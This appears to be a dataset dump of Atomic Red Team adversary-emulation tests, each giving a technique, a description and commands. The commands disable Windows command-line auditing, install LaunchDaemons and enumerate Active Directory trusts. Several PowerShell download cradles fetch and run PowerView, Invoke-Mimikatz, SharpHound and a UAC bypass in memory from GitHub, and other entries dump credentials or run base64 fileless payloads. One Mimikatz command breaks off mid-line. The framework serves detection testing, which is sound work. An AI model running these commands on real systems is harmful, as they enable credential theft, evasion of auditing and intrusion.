deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1690: Prevent Command History Logging
Test: Disable Windows Command Line Auditing using reg.exe
Platforms: windows
Executor: command_prompt

Description:
In Windows operating systems, command line auditing is controlled through the following registry value:

  Registry Path: HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
  
  Registry Value: ProcessCreationIncludeCmdLine_Enabled

When command line auditing is enabled, the system records detailed information about command execution, including the command executed, the user account responsible for executing the command, and the timestamp of the execution.
This information is crucial for security monitoring and forensic analysis, as it helps organizations detect and investigate unauthorized or malicious activities within their systems.
By default, command line auditing may not be enabled in Windows systems, and administrators must manually configure the appropriate registry settings to activate it.
Conversely, attackers may attempt to tamper with these registry keys to disable command line auditing, as part of their efforts to evade detection and cover their tracks while perpetrating malicious activities.

Because this attack executes reg.exe using a command prompt, this attack can be detected by monitoring both:
  Process Creation events for reg.exe (Windows Event ID 4688, Sysmon Event ID 1)
  Registry events (Windows Event ID 4657, Sysmon Event ID 13)

Read more here:
https://securitydatasets.com/notebooks/atomic/windows/defense_evasion/SDWIN[PII_REDACTED]11.html


Command:
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 0 /f


Cleanup:
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f
Atomic Red Team — T1690: Prevent Command History Logging
Test: Disable Windows Command Line Auditing using Powershell Cmdlet
Platforms: windows
Executor: powershell

Description:
In Windows operating systems, command line auditing is controlled through the following registry value:

  Registry Path: HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
  
  Registry Value: ProcessCreationIncludeCmdLine_Enabled

When command line auditing is enabled, the system records detailed information about command execution, including the command executed, the user account responsible for executing the command, and the timestamp of the execution.
This information is crucial for security monitoring and forensic analysis, as it helps organizations detect and investigate unauthorized or malicious activities within their systems.
By default, command line auditing may not be enabled in Windows systems, and administrators must manually configure the appropriate registry settings to activate it.
Conversely, attackers may attempt to tamper with these registry keys to disable command line auditing, as part of their efforts to evade detection and cover their tracks while perpetrating malicious activities.

Because this attack runs a Powershell cmdlet, this attack can be detected by monitoring both:
  Powershell Logging (Windows Powershell Event ID 400, 800, 4103, 4104)
  Registry events (Windows Event ID 4657, Sysmon Event ID 13)

Read more here:
https://securitydatasets.com/notebooks/atomic/windows/defense_evasion/SDWIN[PII_REDACTED]11.html
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-itemproperty?view=powershell-7.4#example-2-add-a-registry-entry-to-a-key


Command:
New-ItemProperty -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit" -Name "ProcessCreationIncludeCmdLine_Enabled" -Value 0 -PropertyType DWORD -Force -ErrorAction Ignore


Cleanup:
New-ItemProperty -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit" -Name "ProcessCreationIncludeCmdLine_Enabled" -Value 1 -PropertyType DWORD -Force -ErrorAction Ignore
Atomic Red Team — T1543.004: Create or Modify System Process: Launch Daemon
Test: Launch Daemon
Platforms: macos
Executor: bash

Description:
Utilize LaunchDaemon to launch `Hello World`


Command:
sudo cp #{path_malicious_plist} /Library/LaunchDaemons/#{plist_filename}
sudo launchctl load -w /Library/LaunchDaemons/#{plist_filename}


Cleanup:
sudo launchctl unload /Library/LaunchDaemons/#{plist_filename}
sudo rm /Library/LaunchDaemons/#{plist_filename}
sudo rm /tmp/T1543_004_atomicredteam.txt


Dependencies:
The shared library must exist on disk at specified location (#{path_malicious_plist})
Atomic Red Team — T1482: Domain Trust Discovery
Test: Windows - Discover domain trusts with dsquery
Platforms: windows
Executor: command_prompt

Description:
Uses the dsquery command to discover domain trusts.
Requires the installation of dsquery via Windows RSAT or the Windows Server AD DS role.


Command:
dsquery * -filter "(objectClass=trustedDomain)" -attr *
Atomic Red Team — T1482: Domain Trust Discovery
Test: Windows - Discover domain trusts with nltest
Platforms: windows
Executor: command_prompt

Description:
Uses the nltest command to discover domain trusts.
Requires the installation of nltest via Windows RSAT or the Windows Server AD DS role.
This technique has been used by the Trickbot malware family.


Command:
nltest /domain_trusts
nltest /trusted_domains


Dependencies:
nltest.exe from RSAT must be present on disk
Atomic Red Team — T1482: Domain Trust Discovery
Test: Powershell enumerate domains and forests
Platforms: windows
Executor: powershell

Description:
Use powershell to enumerate AD information.
Requires the installation of PowerShell AD admin cmdlets via Windows RSAT or the Windows Server AD DS role.


Command:
Import-Module "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1"
Get-NetDomainTrust
Get-NetForestTrust
Get-ADDomain
Get-ADGroupMember Administrators -Recursive
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()


Dependencies:
PowerView PowerShell script must exist on disk

RSAT PowerShell AD admin cmdlets must be installed
Atomic Red Team — T1482: Domain Trust Discovery
Test: Adfind - Enumerate Active Directory OUs
Platforms: windows
Executor: command_prompt

Description:
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory OUs
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html


Command:
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=organizationalUnit) #{optional_args}


Dependencies:
AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe)
Atomic Red Team — T1482: Domain Trust Discovery
Test: Adfind - Enumerate Active Directory Trusts
Platforms: windows
Executor: command_prompt

Description:
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Trusts
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html


Command:
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -gcb -sc trustdmp


Dependencies:
AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe)
Atomic Red Team — T1482: Domain Trust Discovery
Test: Get-DomainTrust with PowerView
Platforms: windows
Executor: powershell

Description:
Utilizing PowerView, run Get-DomainTrust to identify domain trusts. Upon execution, progress and info about trusts within the domain being scanned will be displayed.


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainTrust -Verbose
Atomic Red Team — T1482: Domain Trust Discovery
Test: Get-ForestTrust with PowerView
Platforms: windows
Executor: powershell

Description:
Utilizing PowerView, run Get-ForestTrust to identify forest trusts. Upon execution, progress and info about forest trusts within the domain being scanned will be displayed.


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-ForestTrust -Verbose
Atomic Red Team — T1482: Domain Trust Discovery
Test: TruffleSnout - Listing AD Infrastructure
Platforms: windows
Executor: command_prompt

Description:
Iterative AD discovery toolkit for offensive operators. Situational awareness and targeted low noise enumeration. Preference for OpSec.- https://github.com/dsnezhkov/TruffleSnout


Command:
"#{trufflesnout_path}" forest -n #{domain}
"#{trufflesnout_path}" domain -n #{domain}


Dependencies:
TruffleSnout.exe must exist on disk at specified location (#{trufflesnout_path})
Atomic Red Team — T1059.003: Command and Scripting Interpreter: Windows Command Shell
Test: Create and Execute Batch Script
Platforms: windows
Executor: powershell

Description:
Creates and executes a simple batch script. Upon execution, CMD will briefly launch to run the batch script then close again.


Command:
Start-Process "#{script_path}"


Cleanup:
Remove-Item "#{script_path}" -Force -ErrorAction Ignore


Dependencies:
Batch file must exist on disk at specified location (#{script_path})
Atomic Red Team — T1059.003: Command and Scripting Interpreter: Windows Command Shell
Test: Writes text to a file and displays it.
Platforms: windows
Executor: command_prompt

Description:
Writes text to a file and display the results. This test is intended to emulate the dropping of a malicious file to disk.


Command:
echo "#{message}" > "#{file_contents_path}" & type "#{file_contents_path}"


Cleanup:
del "#{file_contents_path}" >nul 2>&1
Atomic Red Team — T1059.003: Command and Scripting Interpreter: Windows Command Shell
Test: Suspicious Execution via Windows Command Shell
Platforms: windows
Executor: command_prompt

Description:
Command line executed via suspicious invocation. Example is from the 2021 Threat Detection Report by Red Canary.


Command:
%LOCALAPPDATA:~-3,1%md /c echo #{input_message} > #{output_file} & type #{output_file}
Atomic Red Team — T1059.003: Command and Scripting Interpreter: Windows Command Shell
Test: Simulate BlackByte Ransomware Print Bombing
Platforms: windows
Executor: powershell

Description:
This test attempts to open a file a specified number of times in Wordpad, then prints the contents. 
It is designed to mimic BlackByte ransomware's print bombing technique, where tree.dll, which contains the ransom note, is opened in Wordpad 75 times and then printed. 
See https://redcanary.com/blog/blackbyte-ransomware/. 


Command:
cmd /c "for /l %x in (1,1,#{max_to_print}) do start wordpad.exe /p #{file_to_print}" | out-null


Cleanup:
stop-process -name wordpad -force -erroraction silentlycontinue


Dependencies:
File to print must exist on disk at specified location (#{file_to_print})
Atomic Red Team — T1059.003: Command and Scripting Interpreter: Windows Command Shell
Test: Command Prompt read contents from CMD file and execute
Platforms: windows
Executor: command_prompt

Description:
Simulate Raspberry Robin using the "standard-in" command prompt feature cmd `/R <` to read and execute a file via cmd.exe
See https://redcanary.com/blog/raspberry-robin/. 


Command:
cmd /r cmd<"#{input_file}"


Dependencies:
CMD file must exist on disk at specified location (#{input_file})
Atomic Red Team — T1059.003: Command and Scripting Interpreter: Windows Command Shell
Test: Command prompt writing script to file then executes it
Platforms: windows
Executor: command_prompt

Description:
    Simulate DarkGate malware's second stage by writing a VBscript to disk directly from the command prompt then executing it.
    The script will execute 'whoami' then exit.

Command:
 c:\windows\system32\cmd.exe /c cd /d #{script_path} & echo Set objShell = CreateObject("WScript.Shell"):Set objExec = objShell.Exec("whoami"):Set objExec = Nothing:Set objShell = Nothing > #{script_name}.vbs & #{script_name}.vbs

Cleanup:
del "#{script_name}.vbs" >nul 2>&1
Atomic Red Team — T1059.001: Command and Scripting Interpreter: PowerShell
Test: Mimikatz
Platforms: windows
Executor: command_prompt

Description:
Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.


Command:
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
Atomic Red Team — T1059.001: Command and Scripting Interpreter: PowerShell
Test: Run BloodHound from local disk
Platforms: windows
Executor: powershell

Description:
Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur.

Successful execution will produce stdout message stating "SharpHound Enumeration Completed". Upon completion, final output will be a *BloodHound.zip file.


Command:
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5


Cleanup:
Remove-Item $env:Temp\*BloodHound.zip -Force


Dependencies:
SharpHound.ps1 must be located at "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
Atomic Red Team — T1059.001: Command and Scripting Interpreter: PowerShell
Test: Run Bloodhound from Memory using Download Cradle
Platforms: windows
Executor: powershell

Description:
Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur.

Successful execution will produce stdout message stating "SharpHound Enumeration Completed". Upon completion, final output will be a *BloodHound.zip file.


Command:
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5


Cleanup:
Remove-Item $env:Temp\*BloodHound.zip -Force
Atomic Red Team — T1059.001: Command and Scripting Interpreter: PowerShell
Test: Mimikatz - Cradlecraft PsSendKeys
Platforms: windows
Executor: powershell

Description:
Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.


Command:
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o'
Atomic Red Team — T1059.001: Command and Scripting Interpreter: PowerShell
Test: Invoke-AppPathBypass
Platforms: windows
Executor: command_prompt

Description:
Note: Windows 10 only. Upon execution windows backup and restore window will be opened.

Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/


Command:
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Atomic Red Team — T1059.001: Command and Scripting Interpreter: PowerShell
Test: Powershell MsXml COM object - with prompt
Platforms: windows
Executor: command_prompt

Description:
Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed.

Provided by https://github.com/mgreen27/mgreen27.github.io


Command:
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
Atomic Red Team — T1059.001: Command and Scripting Interpreter: PowerShell
Test: Powershell XML requests
Platforms: windows
Executor: command_prompt

Description:
Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed.

Provided by https://github.com/mgreen27/mgreen27.github.io


Command:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
Atomic Red Team — T1059.001: Command and Scripting Interpreter: PowerShell
Test: Powershell invoke mshta.exe download
Platforms: windows
Executor: command_prompt

Description:
Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!".

Provided by https://github.com/mgreen27/mgreen27.github.io


Command:
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
Atomic Red Team — T1059.001: Command and Scripting Interpreter: PowerShell
Test: Powershell Invoke-DownloadCradle
Platforms: windows
Executor: manual

Description:
Provided by https://github.com/mgreen27/mgreen27.github.io
Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.
Atomic Red Team — T1059.001: Command and Scripting Interpreter: PowerShell
Test: PowerShell Fileless Script Execution
Platforms: windows
Executor: powershell

Description:
Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that
art-marker.txt is in the folder.


Command:
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))


Cleanup:
Remove-Item -path C:\Windows\Temp\art-marker.txt -Force -ErrorAction Ignore
Remove-Item HKCU:\Software\Classes\AtomicRedTeam -Force -ErrorAction Ignore
Atomic Red Team — T1059.001: Command and Scripting Interpreter: PowerShell
Test: NTFS Alternate Data Stream Access
Platforms: windows
Executor: powershell

Description:
Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.


Command:
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand


Cleanup:
Remove-Item #{ads_file} -Force -ErrorAction Ignore


Dependencies:
Homedrive must be an NTFS drive
Atomic Red Team — T1059.001: Command and Scripting Interpreter: PowerShell
Test: PowerShell Session Creation and Use
Platforms: windows
Executor: powershell

Description:
Connect to a remote powershell session and interact with the host.
Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.


Command:
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use


Dependencies:
PSRemoting must be enabled
Atomic Red Team — T1059.001: Command and Scripting Interpreter: PowerShell
Test: ATHPowerShellCommandLineParameter -Command parameter variations
Platforms: windows
Executor: powershell

Description:
Executes powershell.exe with variations of the -Command parameter

Command:
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop

Dependencies:
The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.
Atomic Red Team — T1059.001: Command and Scripting Interpreter: PowerShell
Test: ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments
Platforms: windows
Executor: powershell

Description:
Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied

Command:
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop

Dependencies:
The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.
Atomic Red Team — T1059.001: Command and Scripting Interpreter: PowerShell
Test: ATHPowerShellCommandLineParameter -EncodedCommand parameter variations
Platforms: windows
Executor: powershell

Description:
Executes powershell.exe with variations of the -EncodedCommand parameter

Command:
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop

Dependencies:
The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.
Atomic Red Team — T1059.001: Command and Scripting Interpreter: PowerShell
Test: ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments
Platforms: windows
Executor: powershell

Description:
Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied

Command:
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop

Dependencies:
The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.
Atomic Red Team — T1059.001: Command and Scripting Interpreter: PowerShell
Test: PowerShell Command Execution
Platforms: windows
Executor: command_prompt

Description:
Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.


Command:
powershell.exe -e  #{obfuscated_code}
Atomic Red Team — T1059.001: Command and Scripting Interpreter: PowerShell
Test: PowerShell Invoke Known Malicious Cmdlets
Platforms: windows
Executor: powershell

Description:
Powershell execution of known Malicious PowerShell Cmdlets

Command:
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
    "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
    $cmdlets}